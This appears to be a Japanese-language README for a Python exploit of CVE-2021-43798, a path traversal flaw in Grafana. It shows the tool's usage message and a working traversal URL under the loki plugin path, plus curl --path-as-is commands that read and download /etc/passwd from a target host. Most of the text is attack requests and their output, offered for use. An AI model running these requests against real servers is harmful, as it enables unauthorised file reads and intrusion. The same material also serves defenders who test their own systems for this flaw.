
CVE-2021-43798のPythonエクスプロイト。Grafanaのパストラバーサル脆弱性で、プラグインURLのディレクトリトラバーサルを介して任意のファイル読み取りを可能にします。
usage: grafana-exploit.py [-h] -H/--host HOST grafana-exploit.py: error: the following arguments are required: -H/--host
例: python3 grafana-exploit.py --host <target_host>
任意ファイルの読み取りに成功した場合、 リクエストURLとcurlコマンドを表示します
[+]RequestURL
http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd
[+]curl_command
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd"
ファイルをダウンロードしたい場合は、上記のように実行してください
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd" -o passwd